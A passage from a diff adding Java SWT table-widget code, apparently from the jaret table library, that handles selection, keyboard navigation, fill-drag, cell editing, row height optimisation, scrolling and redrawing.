lastRowSelectIdx); + int e = Math.max(firstRowSelectIdx, lastRowSelectIdx); + for (int i = f; i <= e; i++) { + if (i < first || i > end) { + IRow row = rowForIdx(i); + _selectionModel.remSelectedRow(row); + } + } + } + } + + /** + * Ensures that the selection contains the columns from firstIdx to colIdx. If the range firstIdx to lastIdx is + * larger than the region the other columns will be removed from the selection. + * + * @param firstColIdx first selected column index + * @param colIdx current selected column index + * @param lastColSelectIdx may be -1 for no last selection + */ + private void ensureSelectionContainsColRegion(int firstColIdx, int colIdx, int lastColSelectIdx) { + int first = Math.min(firstColIdx, colIdx); + int end = Math.max(firstColIdx, colIdx); + for (int i = first; i <= end; i++) { + IColumn col = colForIdx(i); + if (!_selectionModel.getSelection().getSelectedColumns().contains(col)) { + _selectionModel.addSelectedColumn(col); + } + } + if (lastColSelectIdx != -1) { + int f = Math.min(firstColIdx, lastColSelectIdx); + int e = Math.max(firstColIdx, lastColSelectIdx); + for (int i = f; i <= e; i++) { + if (i < first || i > end) { + IColumn col = colForIdx(i); + _selectionModel.remSelectedColumn(col); + } + } + } + } + + /** + * Ensures the selection contains the cells in the rectangle given by first*, *Idx. If the rectangle given by + * first*, last* is larger than the other rectangle is is ensured that the additional cells are not in the + * selection. + * + * @param firstCellSelectX begin x index of selected cell rectangle + * @param firstCellSelectY begin y index of selected cell rectangle + * @param colIdx end x index of selected cell rectangle + * @param rowIdx end y index of selected cell rectangle + * @param lastCellSelectX may be -1 for no last selection + * @param lastCellSelectY may be -1 for no last selection + */ + private void ensureSelectionContainsRegion(int firstCellSelectX, int firstCellSelectY, int colIdx, int rowIdx, + int lastCellSelectX, int lastCellSelectY) { + int firstx = Math.min(firstCellSelectX, colIdx); + int endx = Math.max(firstCellSelectX, colIdx); + int firsty = Math.min(firstCellSelectY, rowIdx); + int endy = Math.max(firstCellSelectY, rowIdx); + + for (int x = firstx; x <= endx; x++) { + for (int y = firsty; y <= endy; y++) { + IJaretTableCell cell = new JaretTableCellImpl(rowForIdx(y), colForIdx(x)); + if (!_selectionModel.getSelection().getSelectedCells().contains(cell)) { + _selectionModel.addSelectedCell(cell); + } + } + } + + // last sel rect + if (lastCellSelectX != -1) { + int lfx = Math.min(firstCellSelectX, lastCellSelectX); + int lex = Math.max(firstCellSelectX, lastCellSelectX); + int lfy = Math.min(firstCellSelectY, lastCellSelectY); + int ley = Math.max(firstCellSelectY, lastCellSelectY); + + for (int x = lfx; x <= lex; x++) { + for (int y = lfy; y <= ley; y++) { + if (!(x >= firstx && x <= endx && y >= firsty && y <= endy)) { + IJaretTableCell cell = new JaretTableCellImpl(rowForIdx(y), colForIdx(x)); + _selectionModel.remSelectedCell(cell); + } + } + } + } + + } + + /** + * Ensures the selection contains the cells in the rectangle given by firstIdxRect, *Idx. If the rectangle given by + * first*, last* is larger than the other rectangle is is ensured that the additional cells are not in the + * selection. + * + * @param firstIdxRect rectangle containing the indizes of the originating rect + * @param colIdx new end x index for the selected rectangle + * @param rowIdx new end y index for teh selecetd rectangle + * @param lastCellSelectX may be -1 for no last selection + * @param lastCellSelectY may be -1 for no last selection + */ + private void ensureSelectionContainsRegion(Rectangle firstIdxRect, int colIdx, int rowIdx, int lastCellSelectX, + int lastCellSelectY) { + + int firstx = Math.min(firstIdxRect.x, colIdx); + int endx = Math.max(firstIdxRect.x + firstIdxRect.width - 1, colIdx); + int firsty = Math.min(firstIdxRect.y, rowIdx); + int endy = Math.max(firstIdxRect.y + firstIdxRect.height - 1, rowIdx); + + for (int x = firstx; x <= endx; x++) { + for (int y = firsty; y <= endy; y++) { + IJaretTableCell cell = new JaretTableCellImpl(rowForIdx(y), colForIdx(x)); + if (!_selectionModel.getSelection().getSelectedCells().contains(cell)) { + _selectionModel.addSelectedCell(cell); + } + } + } + + // last sel rect + if (lastCellSelectX != -1 && lastCellSelectY != -1) { + int lfx = Math.min(firstIdxRect.x, lastCellSelectX); + int lex = Math.max(firstIdxRect.x + firstIdxRect.width - 1, lastCellSelectX); + int lfy = Math.min(firstIdxRect.y, lastCellSelectY); + int ley = Math.max(firstIdxRect.y + firstIdxRect.height - 1, lastCellSelectY); + + for (int x = lfx; x <= lex; x++) { + for (int y = lfy; y <= ley; y++) { + if (!(x >= firstx && x <= endx && y >= firsty && y <= endy)) { + IJaretTableCell cell = new JaretTableCellImpl(rowForIdx(y), colForIdx(x)); + _selectionModel.remSelectedCell(cell); + } + } + } + } + + } + + /** + * Handle drag of mouse. + * + * @param x x coordinate of pointer + * @param y y coordinate of pointer + * @param stateMask keyStatemask + */ + private void mouseDragged(int x, int y, int stateMask) { + if (_isFillDrag) { + handleSelection(x, y, stateMask, true); + } else if (_heightDraggedRowInfo != null) { + int newHeight = y - _heightDraggedRowInfo.y; + if (newHeight < _tvs.getMinimalRowHeight()) { + newHeight = _tvs.getMinimalRowHeight(); + } + _tvs.setRowHeight(_heightDraggedRowInfo.row, newHeight); + // setting the row heigth on an OPTVAR ror converts this to variable + if (_tvs.getRowHeigthMode(_heightDraggedRowInfo.row) == RowHeightMode.OPTANDVAR) { + _tvs.setRowHeightMode(_heightDraggedRowInfo.row, RowHeightMode.VARIABLE); + } + + } else if (_widthDraggedColumn != null) { + int newWidth = x - _widthDraggedColumn.x; + if (newWidth < _tvs.getMinimalColWidth()) { + newWidth = _tvs.getMinimalColWidth(); + } + if (_tvs.getColumnWidth(_widthDraggedColumn.column) != newWidth) { + _tvs.setColumnWidth(_widthDraggedColumn.column, newWidth); + } + } else if (_headerDragged) { + int newHeight = y - _headerRect.y; + if (newHeight < _minHeaderHeight) { + newHeight = _minHeaderHeight; + } + setHeaderHeight(newHeight); + } else { + handleSelection(x, y, stateMask, true); + } + } + + /** + * Handle mouse move. This is mostly: modifying the appearance of the cursor. + * + * @param x x coordinate of pointer + * @param y y coordinate of pointer + * @param stateMask keyStatemask + */ + private void mouseMoved(int x, int y, int stateMask) { + Display display = Display.getCurrent(); + Shell activeShell = display != null ? display.getActiveShell() : null; + + // check for location over drag marker + if (_dragMarkerRect != null && _dragMarkerRect.contains(x, y)) { + if (activeShell != null) { + // MAYBE other cursor for differentiation? + activeShell.setCursor(display.getSystemCursor(SWT.CURSOR_SIZEALL)); + } + return; + } + + // check for location over lower border of row + IRow row = rowByBottomBorder(y); + if (row != null + && _rowResizeAllowed + && (_tvs.getRowHeigthMode(row) == RowHeightMode.VARIABLE || _tvs.getRowHeigthMode(row) == RowHeightMode.OPTANDVAR) + && (!_resizeRestriction || Math.abs(x - _tableRect.x) <= SELDELTA || (_fixedColRect != null && _fixedColRect + .contains(x, y)))) { + if (activeShell != null) { + activeShell.setCursor(display.getSystemCursor(SWT.CURSOR_SIZENS)); + } + return; + } else { + IColumn col = colByRightBorder(x); + if (col != null && _columnResizeAllowed && _tvs.columnResizingAllowed(col) + && (!_resizeRestriction || _headerRect == null || _headerRect.contains(x, y))) { + if (activeShell != null) { + activeShell.setCursor(display.getSystemCursor(SWT.CURSOR_SIZEW)); + } + return; + } + } + // check header drag symboling + if (_headerRect != null && _headerResizeAllowed && Math.abs(_headerRect.y + _headerRect.height - y) <= SELDELTA) { + if (activeShell != null) { + activeShell.setCursor(display.getSystemCursor(SWT.CURSOR_SIZENS)); + } + return; + } + + if (Display.getCurrent().getActiveShell() != null) { + Display.getCurrent().getActiveShell().setCursor(Display.getCurrent().getSystemCursor(SWT.CURSOR_ARROW)); + } + + } + + /** + * Handle the release of a mouse button. + * + * @param x x coordinate + * @param y y coordinate + * @param popUpTrigger true if the buttonm is the popup trigger + */ + private void mouseReleased(int x, int y, boolean popUpTrigger) { + + if (_isFillDrag) { + handleFill(); + } + + _heightDraggedRowInfo = null; + _widthDraggedColumn = null; + _headerDragged = false; + + _firstCellSelectX = -1; + _firstCellSelectY = -1; + _lastCellSelectX = -1; + _lastCellSelectY = -1; + + _firstColSelectIdx = -1; + // _lastColSelectIdx = -1; + _firstRowSelectIdx = -1; + // _lastRowSelectIDx = -1; + + _isFillDrag = false; + + if (_headerRect.contains(x, y) && popUpTrigger) { + displayHeaderContextMenu(x, y); + } else if (popUpTrigger && isRowSelection(x, y)) { + displayRowContextMenu(x, y); + } + + } + + /** + * Handle the end of a fill drag. + * + */ + private void handleFill() { + if (_fillDragStrategy != null) { + if (_horizontalFillDrag) { + // horizontal base rect + for (int i = _firstFillDragSelect.x; i < _firstFillDragSelect.x + _firstFillDragSelect.width; i++) { + IJaretTableCell firstCell = getCellForIdx(i, _firstFillDragSelect.y); + List cells = getSelectedCellsVertical(i); + cells.remove(firstCell); + _fillDragStrategy.doFill(this, firstCell, cells); + } + } else { + // vertical base rect + for (int i = _firstFillDragSelect.y; i < _firstFillDragSelect.y + _firstFillDragSelect.height; i++) { + IJaretTableCell firstCell = getCellForIdx(_firstFillDragSelect.x, i); + List cells = getSelectedCellsHorizontal(i); + cells.remove(firstCell); + _fillDragStrategy.doFill(this, firstCell, cells); + } + } + } + } + + /** + * Get all cells that are selected at the x idx given. + * + * @param x x idx + * @return list of selecetd cells with x idx == x + */ + private List getSelectedCellsVertical(int x) { + List cells = new ArrayList(); + List s = getSelectionModel().getSelection().getSelectedCells(); + for (IJaretTableCell cell : s) { + Point p = getCellDisplayIdx(cell); + if (p.x == x) { + cells.add(cell); + } + } + return cells; + } + + /** + * Get all cells that are selected at the y idx given. + * + * @param y y idx + * @return list of selecetd cells at idx y == y + */ + private List getSelectedCellsHorizontal(int y) { + List cells = new ArrayList(); + List s = getSelectionModel().getSelection().getSelectedCells(); + for (IJaretTableCell cell : s) { + Point p = getCellDisplayIdx(cell); + if (p.y == y) { + cells.add(cell); + } + } + return cells; + } + + /** + * Supply tooltip text for a position in the table. + * + * @param x x coordinate + * @param y y coordinate + * @return tooltip text or null + */ + private String getToolTipText(int x, int y) { + IJaretTableCell cell = getCell(x, y); + if (cell != null) { + Rectangle bounds = getCellBounds(cell); + ICellRenderer renderer = getCellRenderer(cell.getRow(), cell.getColumn()); + if (renderer != null) { + String tt = renderer.getTooltip(this, bounds, cell.getRow(), cell.getColumn(), x, y); + if (tt != null) { + return tt; + } + } + } + return null; + } + + // /////// end mouse handling + + // // keyboard handling + /** + * Handle any key presses. + * + * @param event key event + */ + private void handleKeyPressed(KeyEvent event) { + if ((event.stateMask & SWT.SHIFT) != 0 && Character.isISOControl(event.character)) { + switch (event.keyCode) { + case SWT.ARROW_RIGHT: + selectRight(); + break; + case SWT.ARROW_LEFT: + selectLeft(); + break; + case SWT.ARROW_DOWN: + selectDown(); + break; + case SWT.ARROW_UP: + selectUp(); + break; + + default: + // do nothing + break; + } + } else if ((event.stateMask & SWT.CONTROL) != 0 && Character.isISOControl(event.character)) { + // TODO keybindings hard coded is ok for now + // System.out.println("keycode "+event.keyCode); + switch (event.keyCode) { + case 'c': + copy(); + break; + case 'x': + cut(); + break; + case 'v': + paste(); + break; + case 'a': + selectAll(); + break; + + default: + // do nothing + break; + } + + } else { + _lastKeySelect = null; + _firstKeySelect = null; + + switch (event.keyCode) { + case SWT.ARROW_RIGHT: + focusRight(); + break; + case SWT.ARROW_LEFT: + focusLeft(); + break; + case SWT.ARROW_DOWN: + focusDown(); + break; + case SWT.ARROW_UP: + focusUp(); + break; + case SWT.TAB: + focusRight(); + break; + case SWT.F2: +// startEditing(_focussedRow, _focussedColumn, (char) 0); + break; + + default: + if (event.character == ' ' && isHierarchyColumn(_focussedRow, _focussedColumn)) { + toggleExpanded(_focussedRow); + } else if (!Character.isISOControl(event.character)) { +// startEditing(event.character); + } + // do nothing + break; + } + } + + } + + /** + * Enlarge selection to the right. + */ + private void selectRight() { + IJaretTableCell cell = getFocussedCell(); + if (_lastSelectType == SelectType.CELL && cell != null) { + int cx = getColumnIdx(cell.getColumn()); + int cy = getRowIdx(cell.getRow()); + if (_lastKeySelect == null) { + _lastKeySelect = new Point(-1, -1); + } + if (_firstKeySelect == null) { + _firstKeySelect = new Point(cx, cy); + _selectionModel.clearSelection(); + } + + focusRight(); + cell = getFocussedCell(); + cx = getColumnIdx(cell.getColumn()); + cy = getRowIdx(cell.getRow()); + + ensureSelectionContainsRegion(_firstKeySelect.x, _firstKeySelect.y, cx, cy, _lastKeySelect.x, + _lastKeySelect.y); + + _lastSelectType = SelectType.CELL; + _lastKeySelect = new Point(cx, cy); + } else if (_lastSelectType == SelectType.COLUMN && (_lastColSelectIdx != -1 || _lastKeyColSelectIdx != -1)) { + if (_firstKeyColSelectIdx == -1) { + _firstKeyColSelectIdx = _lastColSelectIdx; + } + int colIdx = _lastKeyColSelectIdx != -1 ? _lastKeyColSelectIdx + 1 : _firstKeyColSelectIdx + 1; + if (colIdx > _cols.size() - 1) { + colIdx = _cols.size() - 1; + } + ensureSelectionContainsColRegion(_firstKeyColSelectIdx, colIdx, _lastKeyColSelectIdx); + _lastKeyColSelectIdx = colIdx; + } + } + + /** + * Enlarge selection to the left. + */ + private void selectLeft() { + IJaretTableCell cell = getFocussedCell(); + if (_lastSelectType == SelectType.CELL && cell != null) { + if (cell != null) { + int cx = getColumnIdx(cell.getColumn()); + int cy = getRowIdx(cell.getRow()); + if (_lastKeySelect == null) { + _lastKeySelect = new Point(-1, -1); + } + if (_firstKeySelect == null) { + _firstKeySelect = new Point(cx, cy); + _selectionModel.clearSelection(); + } + + focusLeft(); + + cell = getFocussedCell(); + cx = getColumnIdx(cell.getColumn()); + cy = getRowIdx(cell.getRow()); + + ensureSelectionContainsRegion(_firstKeySelect.x, _firstKeySelect.y, cx, cy, _lastKeySelect.x, + _lastKeySelect.y); + _lastSelectType = SelectType.CELL; + _lastKeySelect = new Point(cx, cy); + } + } else if (_lastSelectType == SelectType.COLUMN && (_lastColSelectIdx != -1 || _lastKeyColSelectIdx != -1)) { + if (_firstKeyColSelectIdx == -1) { + _firstKeyColSelectIdx = _lastColSelectIdx; + } + int colIdx = _lastKeyColSelectIdx != -1 ? _lastKeyColSelectIdx - 1 : _firstKeyColSelectIdx - 1; + if (colIdx < 0) { + colIdx = 0; + } + ensureSelectionContainsColRegion(_firstKeyColSelectIdx, colIdx, _lastKeyColSelectIdx); + _lastKeyColSelectIdx = colIdx; + } + } + + /** + * Enlarge selection downwards. + */ + private void selectDown() { + IJaretTableCell cell = getFocussedCell(); + if (_lastSelectType == SelectType.CELL && cell != null) { + if (cell != null) { + int cx = getColumnIdx(cell.getColumn()); + int cy = getRowIdx(cell.getRow()); + if (_lastKeySelect == null) { + _lastKeySelect = new Point(-1, -1); + } + if (_firstKeySelect == null) { + _firstKeySelect = new Point(cx, cy); + _selectionModel.clearSelection(); + } + + focusDown(); + + cell = getFocussedCell(); + cx = getColumnIdx(cell.getColumn()); + cy = getRowIdx(cell.getRow()); + + ensureSelectionContainsRegion(_firstKeySelect.x, _firstKeySelect.y, cx, cy, _lastKeySelect.x, + _lastKeySelect.y); + + _lastSelectType = SelectType.CELL; + _lastKeySelect = new Point(cx, cy); + } + } else if (_lastSelectType == SelectType.ROW && (_lastRowSelectIdx != -1 || _lastKeyRowSelectIdx != -1)) { + if (_firstKeyRowSelectIdx == -1) { + _firstKeyRowSelectIdx = _lastRowSelectIdx; + } + int rowIdx = _lastKeyRowSelectIdx != -1 ? _lastKeyRowSelectIdx + 1 : _firstKeyRowSelectIdx + 1; + if (rowIdx > _rows.size() - 1) { + rowIdx = _rows.size() - 1; + } + ensureSelectionContainsRowRegion(_firstKeyRowSelectIdx, rowIdx, _lastKeyRowSelectIdx); + _lastKeyRowSelectIdx = rowIdx; + } + + } + + /** + * Enlarge selection upwards. + */ + private void selectUp() { + IJaretTableCell cell = getFocussedCell(); + if (_lastSelectType == SelectType.CELL && cell != null) { + if (cell != null) { + int cx = getColumnIdx(cell.getColumn()); + int cy = getRowIdx(cell.getRow()); + if (_lastKeySelect == null) { + _lastKeySelect = new Point(-1, -1); + } + if (_firstKeySelect == null) { + _firstKeySelect = new Point(cx, cy); + _selectionModel.clearSelection(); + } + + focusUp(); + + cell = getFocussedCell(); + cx = getColumnIdx(cell.getColumn()); + cy = getRowIdx(cell.getRow()); + + ensureSelectionContainsRegion(_firstKeySelect.x, _firstKeySelect.y, cx, cy, _lastKeySelect.x, + _lastKeySelect.y); + + _lastSelectType = SelectType.CELL; + _lastKeySelect = new Point(cx, cy); + } + } else if (_lastSelectType == SelectType.ROW && (_lastRowSelectIdx != -1 || _lastKeyRowSelectIdx != -1)) { + if (_firstKeyRowSelectIdx == -1) { + _firstKeyRowSelectIdx = _lastRowSelectIdx; + } + int rowIdx = _lastKeyRowSelectIdx != -1 ? _lastKeyRowSelectIdx - 1 : _firstKeyRowSelectIdx - 1; + if (rowIdx < 0) { + rowIdx = 0; + } + ensureSelectionContainsRowRegion(_firstKeyRowSelectIdx, rowIdx, _lastKeyRowSelectIdx); + _lastKeyRowSelectIdx = rowIdx; + } + } + + /** + * Retrieve the currently focussed cell. + * + * @return the focussed cell or null if no cell is focussed + */ + public IJaretTableCell getFocussedCell() { + if (_focussedColumn != null && _focussedRow != null) { + return new JaretTableCellImpl(_focussedRow, _focussedColumn); + } + return null; + } + + /** + * Retrieve the indizes of the currently focussed cell (idx in the filtered, sorted or whatever table). + * + * @return Point x = column, y = row or null if no cell is focussed + */ + public Point getFocussedCellIdx() { + if (_focussedColumn != null && _focussedRow != null) { + return new Point(getColumnIdx(_focussedColumn), getRowIdx(_focussedRow)); + } + return null; + } + + /** + * Retrieve the display coordinates for a table cell. + * + * @param cell cell to get he coordinates for + * @return Point x = colIdx, y = rowIdx + */ + public Point getCellDisplayIdx(IJaretTableCell cell) { + return new Point(getColumnIdx(cell.getColumn()), getRowIdx(cell.getRow())); + } + + /** + * Convenience method for setting a value at a displayed position in the table. NOTE: this method does call the the + * set method of the model directly, so be aware that the model may protest by throwing a runtime exception or just + * ignore the new value. + * + * @param colIdx column index + * @param rowIdx row index + * @param value value to set + */ + public void setValue(int colIdx, int rowIdx, Object value) { + IColumn col = getColumn(colIdx); + IRow row = getRow(rowIdx); + col.setValue(row, value); + } + + /** + * {@inheritDoc} will get call to transfer focus to the table. The mthod will focus the left/uppermost cell + * displayed. If no rows and columns are present no cell will get the focus. + */ + public boolean setFocus() { + super.setFocus(); + if (_focussedRow == null && _rows != null && _rows.size() > 0 && _cols.size() > 0) { + setFocus(_rows.get(_firstRowIdx), _cols.get(_firstColIdx)); + } + return true; + } + + /** + * Ensures there is a focussed cell and uses the cell at 0,0 if no cell is focussed. + * + */ + private void ensureFocus() { + if (_focussedRow == null) { + _focussedRow = _rows.get(0); + } + if (_focussedColumn == null) { + _focussedColumn = _cols.get(0); + } + } + + /** + * Move the focus left. + */ + public void focusLeft() { + ensureFocus(); + int idx = _cols.indexOf(_focussedColumn); + if (idx > 0) { + setFocus(_focussedRow, _cols.get(idx - 1)); + } + } + + /** + * Move the focus right. + */ + public void focusRight() { + ensureFocus(); + int idx = _cols.indexOf(_focussedColumn); + if (idx < _cols.size() - 1) { + setFocus(_focussedRow, _cols.get(idx + 1)); + } + } + + /** + * Move the focus up. + */ + public void focusUp() { + ensureFocus(); + int idx = _rows.indexOf(_focussedRow); + if (idx > 0) { + setFocus(_rows.get(idx - 1), _focussedColumn); + } + } + + /** + * Move the focus down. + */ + public void focusDown() { + ensureFocus(); + int idx = _rows.indexOf(_focussedRow); + if (idx < _rows.size() - 1) { + setFocus(_rows.get(idx + 1), _focussedColumn); + } + } + + /** + * Set the focussed cell by coordinates. + * + * @param x x coordinate + * @param y y coordinate + */ + private void setFocus(int x, int y) { + IRow row = rowForY(y); + IColumn col = colForX(x); + if (col != null && row != null) { + setFocus(row, col); + } + } + + /** + * Check whether editing of a cell is in progress. + * + * @return true when editing a cell + */ + public boolean isEditing() { + return _editor != null; + } + + /** + * Handle a single mouseclick by passing it to the cell editor if present. + * + * @param x x coordinate of the click + * @param y y coordinate of the click + * @return true if the editor handled the click + */ + private boolean handleEditorSingleClick(int x, int y) { + IRow row = rowForY(y); + IColumn col = colForX(x); + if (col != null && row != null) { + ICellEditor editor = getCellEditor(row, col); + if (editor != null) { + Rectangle area = getCellBounds(row, col); + return editor.handleClick(this, row, col, area, x, y); + } + } + return false; + } + + /** + * Start editing after a keystroke on a cell. + * + * @param typedKey the typed key + */ + private void startEditing(char typedKey) { + if (_focussedRow != null && _focussedColumn != null) { + startEditing(_focussedRow, _focussedColumn, typedKey); + } + } + + /** + * Start editing of a specified cell if it is editable. + * + * @param row row + * @param col column + * @param typedKey key typed + */ + public void startEditing(IRow row, IColumn col, char typedKey) { + if (isEditing()) { + stopEditing(true); + } + if (!_model.isEditable(row, col)) { + return; + } + clearSelection(); + if (row != null && col != null) { + _editor = getCellEditor(row, col); + if (_editor != null) { + _editorControl = _editor.getEditorControl(this, row, col, typedKey); + if (_editorControl != null) { + Rectangle bounds = getCellBounds(row, col); + // TODO borderwidth + bounds.x += 1; + bounds.width -= 1; + bounds.y += 1; + if (_editor.getPreferredHeight() == -1 || _editor.getPreferredHeight() < bounds.height) { + bounds.height -= 1; + } else { + bounds.height = _editor.getPreferredHeight(); + } + _editorControl.setBounds(bounds); + _editorControl.setVisible(true); + _editorControl.forceFocus(); + } + _editorRow = row; + } else { + // System.out.println("no cell editor found!"); + } + } + if (_editorControl == null) { + stopEditing(true); + } + } + + /** + * Clear the selection. + */ + private void clearSelection() { + _selectionModel.clearSelection(); + } + + /** + * Stop editing if in progress. + * + * @param storeValue if true the value of the editor is stored. + */ + public void stopEditing(boolean storeValue) { + if (isEditing()) { + _editor.stopEditing(storeValue); + if (storeValue && (_tvs.getRowHeigthMode(_editorRow) == ITableViewState.RowHeightMode.OPTIMAL) + || _tvs.getRowHeigthMode(_editorRow) == ITableViewState.RowHeightMode.OPTANDVAR) { + optimizeHeight(_editorRow); + } + _editorRow = null; + _editor = null; + } + } + + /** + * Set the focussed cell. + * + * @param row row + * @param col column + */ + private void setFocus(IRow row, IColumn col) { + if (_focussedRow != row || _focussedColumn != col) { + IRow oldRow = _focussedRow; + IColumn oldCol = _focussedColumn; + + _focussedRow = row; + _focussedColumn = col; + + if (isCompleteVisible(_focussedRow, _focussedColumn)) { + redraw(_focussedRow, _focussedColumn); + if (oldRow != null && oldCol != null) { + redraw(oldRow, oldCol); + } + } else { + scrollToVisible(_focussedRow, _focussedColumn); // includes redrawing + } + fireTableFocusChanged(row, col); + } + } + + /** + * Calculate the preferred height of a row. Only visibl columns are taken into account. + * + * @param gc Graphics context + * @param row row to calculate the height for + * @return preferred height or -1 if no preferred height can be determined + */ + private int getPreferredRowHeight(GC gc, IRow row) { + int result = -1; + for (IColumn column : _cols) { + if (_tvs.getColumnVisible(column)) { + ICellRenderer renderer = getCellRenderer(row, column); + ICellStyle cellStyle = _tvs.getCellStyle(row, column); + int ph = renderer.getPreferredHeight(gc, cellStyle, _tvs.getColumnWidth(column), row, column); + if (ph > result) { + result = ph; + } + } + } + return result; + } + + /** list of rows that will be optimized before the next drawing using the gc at hand. */ + protected Collection _rowsToOptimize = Collections.synchronizedCollection(new HashSet()); + + /** + * Register a row for height optimization in the next redrwa (redraw triggered by this method). + * + * @param row row to optimize height for + */ + public void optimizeHeight(IRow row) { + _rowsToOptimize.add(row); + syncedRedraw(); + } + + /** + * Remove a row from the list to optimize. + * + * @param row row to remove from the list + */ + private void doNotOptimizeHeight(IRow row) { + _rowsToOptimize.remove(row); + } + + /** + * Register a list of rows for heigt optimization. + * + * @param rows list of rows to optimize + */ + public void optimizeHeight(List rows) { + _rowsToOptimize.addAll(rows); + syncedRedraw(); + } + + /** + * Calculates and sets the row height for all rows waiting to be optimized. + * + * @param gc GC for calculation of the heights + */ + private void doRowHeightOptimization(GC gc) { + for (IRow row : _rowsToOptimize) { + int h = getPreferredRowHeight(gc, row); + if (h != -1) { + _tvs.setRowHeight(row, h); + } + } + _rowsToOptimize.clear(); + } + + /** + * Scroll the addressed cell so, that is it completely visible. + * + * @param row row of the cell + * @param column column of the cell + */ + public void scrollToVisible(IRow row, IColumn column) { + // first decide: above the visible area or below? + int rIdx = _rows.indexOf(row); + int cellY = getAbsBeginYForRowIdx(rIdx) - getFixedRowsHeight(); + int shownY = getAbsBeginYForRowIdx(_firstRowIdx) + _firstRowPixelOffset - getFixedRowsHeight(); + if (cellY < shownY) { + if (getVerticalBar() != null) { + getVerticalBar().setSelection(cellY); + } + } else { + int cellHeight = _tvs.getRowHeight(row); + if (getVerticalBar() != null) { + getVerticalBar().setSelection(cellY + cellHeight - _tableRect.height); + } + } + // handleVerticalScroll(null); + // now left/right + int cIdx = _cols.indexOf(column); + int cellX = getAbsBeginXForColIdx(cIdx) - getFixedColumnsWidth(); + int shownX = getAbsBeginXForColIdx(_firstColIdx) - getFixedColumnsWidth(); + if (cellX < shownX) { + if (getHorizontalBar() != null) { + getHorizontalBar().setSelection(cellX); + } + } else { + int cellWidth = _tvs.getColumnWidth(column); + if (getHorizontalBar() != null) { + getHorizontalBar().setSelection(cellX + cellWidth - _tableRect.width); + } + } + updateScrollBars(); + redraw(); + } + + /** + * Return true, if the adressed cell is completely (i.e. not clipped) visible. + * + * @param row row of the cell + * @param column column of the cell + * @return true if the cell is completely visible + */ + private boolean isCompleteVisible(IRow row, IColumn column) { + RowInfo rInfo = getRowInfo(row); + if (rInfo == null) { + return false; + } + ColInfo cInfo = getColInfo(column); + if (cInfo == null) { + return false; + } + Rectangle b = getCellBounds(rInfo, cInfo); + if (!(_tableRect.contains(b.x, b.y) && _tableRect.contains(b.x + b.width, b.y + b.height))) { + if (_fixedColumns == 0 && _fixedRows == 0) { + return false; + } else { + // may be in a fixed area + if (_fixedColumns > 0 && _fixedColRect.contains(b.x, b.y) + && _fixedColRect.contains(b.x + b.width, b.y + b.height)) { + return true; + } + if (_fixedRows > 0 && _fixedRowRect.contains(b.x, b.y) + && _fixedRowRect.contains(b.x + b.width, b.y + b.height)) { + return true; + } + return false; + } + } + return true; + } + + /** + * Check whether a row is currently displayed. + * + * @param row row to check + * @return true if the row is displayed. + */ + public boolean isDisplayed(IRow row) { + RowInfo rInfo = getRowInfo(row); + return rInfo != null; + } + + /** + * Check whether a column is currently displayed. + * + * @param column column to check + * @return true if the column is displayed. + */ + public boolean isDisplayed(IColumn column) { + ColInfo cInfo = getColInfo(column); + return cInfo != null; + } + + /** + * Retrieve row by y coordinate of the bottom border. + * + * @param y y coordinate + * @return a row identified by the bottom delimiter or null + */ + private IRow rowByBottomBorder(int y) { + for (RowInfo info : getRowInfos()) { + int by = info.y + info.height; + if (Math.abs(by - y) <= SELDELTA) { + return info.row; + } + } + return null; + } + + /** + * Retrieve the row info for a row. + * + * @param row row to get the info for + * @return info or null + */ + protected RowInfo getRowInfo(IRow row) { + for (RowInfo info : getRowInfos()) { + if (info.row.equals(row)) { + return info; + } + } + return null; + } + + /** + * Retrieve a column by its right border. + * + * @param x x coordinate + * @return the column or null + */ + private IColumn colByRightBorder(int x) { + if (_colInfoCache != null) { + for (ColInfo info : _colInfoCache) { + int bx = info.x + info.width; + if (Math.abs(bx - x) <= SELDELTA) { + return info.column; + } + } + } + return null; + } + + /** + * Retrieve cached col info for a row. + * + * @param col column to get the info for + * @return colInfo or null + */ + private ColInfo getColInfo(IColumn col) { + if (_colInfoCache != null) { + for (ColInfo info : _colInfoCache) { + if (info.column.equals(col)) { + return info; + } + } + } + return null; + } + + /** + * Get the bounding rectangle for a cell. + * + * @param row row of the cell + * @param column column of the cell + * @return the bounding rectangle or null if the cell is not visible + */ + private Rectangle getCellBounds(IRow row, IColumn column) { + RowInfo rInfo = getRowInfo(row); + ColInfo cInfo = getColInfo(column); + if (rInfo == null || cInfo == null) { + return null; + } + return getCellBounds(rInfo, cInfo); + } + + /** + * Get the bounding rectangle for a cell. + * + * @param rInfo row info for the row + * @param cInfo column info for the row + * @return the bounding rectangle + */ + private Rectangle getCellBounds(RowInfo rInfo, ColInfo cInfo) { + return new Rectangle(cInfo.x, rInfo.y, cInfo.width, rInfo.height); + } + + /** + * Retrieve the bounds for a cell. + * + * @param cell cell + * @return cell bounds or null if the cell is not displayed + */ + private Rectangle getCellBounds(IJaretTableCell cell) { + return getCellBounds(cell.getRow(), cell.getColumn()); + } + + /** + * Get the bounding rect for a row. + * + * @param row row + * @return bounding rect or null if the row is not visible + */ + private Rectangle getRowBounds(IRow row) { + RowInfo rInfo = getRowInfo(row); + return rInfo == null ? null : getRowBounds(rInfo); + } + + /** + * Get bounding rect for a row by the rowinfo. + * + * @param info row info + * @return bounding rect + */ + private Rectangle getRowBounds(RowInfo info) { + int bx = _fixedColumns == 0 ? _tableRect.x : _fixedColRect.x; + int width = _fixedColumns == 0 ? _tableRect.width : _fixedColRect.width + _tableRect.width; + return new Rectangle(bx, info.y, width, info.height); + } + + /** + * Get the bounding rect for a column. + * + * @param column column + * @return bounding rect or null if the column is not visible + */ + public Rectangle getColumnBounds(IColumn column) { + ColInfo cInfo = getColInfo(column); + + return cInfo != null ? getColumnBounds(cInfo) : null; + } + + /** + * Get the bounds for a column. + * + * @param info column info + * @return bounding rectangle + */ + private Rectangle getColumnBounds(ColInfo info) { + int by = _fixedRows == 0 ? _tableRect.y : _fixedRowRect.y; + int height = _fixedRows == 0 ? _tableRect.height : _fixedRowRect.height + _tableRect.height; + return new Rectangle(info.x, by, info.width, height); + } + + /** + * Redraw a cell. Method can be called from any thread. + * + * @param row row of the cell + * @param column column of the cell + */ + private void redraw(IRow row, IColumn column) { + Rectangle r = getCellBounds(row, column); + if (r != null) { + syncedRedraw(r.x, r.y, r.width, r.height); + } + } + + /** + * Redraw a row. Method can be called from any thread. + * + * @param row row to be painted + */ + private void redraw(IRow row) { + Rectangle r = getRowBounds(row); + if (r != null) { + syncedRedraw(r.x, r.y, r.width, r.height); + } + } + + /** + * Redraw a column. Method can be called from any thread. + * + * @param column column to be repainted + */ + private void 